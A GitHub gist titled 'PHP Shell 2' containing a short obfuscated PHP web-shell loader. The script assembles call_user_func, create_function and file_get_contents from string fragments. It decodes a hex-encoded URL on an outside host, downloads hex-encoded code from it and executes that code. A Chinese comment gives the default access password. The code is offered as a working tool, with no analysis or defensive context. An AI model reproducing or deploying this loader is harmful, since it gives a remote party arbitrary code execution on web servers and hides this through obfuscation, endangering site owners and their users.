Skip to content

Instantly share code, notes, and snippets.

@suchasplus
Last active August 29, 2015 14:11
Show Gist options
  • Save suchasplus/19cb975e99f54a684423 to your computer and use it in GitHub Desktop.
Save suchasplus/19cb975e99f54a684423 to your computer and use it in GitHub Desktop.
PHP Shell 2
<?php
define('iphp','demo2'); //default password is : demo, 使用方法 按p 输入密码 或者 你保存的xx.php?password=demo
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');
define('F2','contents');
define('P','pack');
$p = P;
$call = sprintf('%s_%s_%s',A,B,C);
$create = sprintf('%s_%s',D,E);
$file = sprintf('%s_%s_%s',F,F1,F2);
$t = array('6','8','7','4','7','4','7','0','3','a','2','f','2','f','6','4','6','f','6','4','6','f','6','4','6','f','6','d','6','5','2','e','7','3','6','9','6','e','6','1','6','1','7','0','7','0','2','e','6','3','6','f','6','d','2','f','6','7','6','5','7','4','6','3','6','f','6','4','6','5','2','e','7','0','6','8','7','0','3','f','6','3','6','1','6','c','6','c','3','d','6','3','6','f','6','4','6','5');
$call($create(null,$p(T,$file($p(T,join(null,$t))))));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment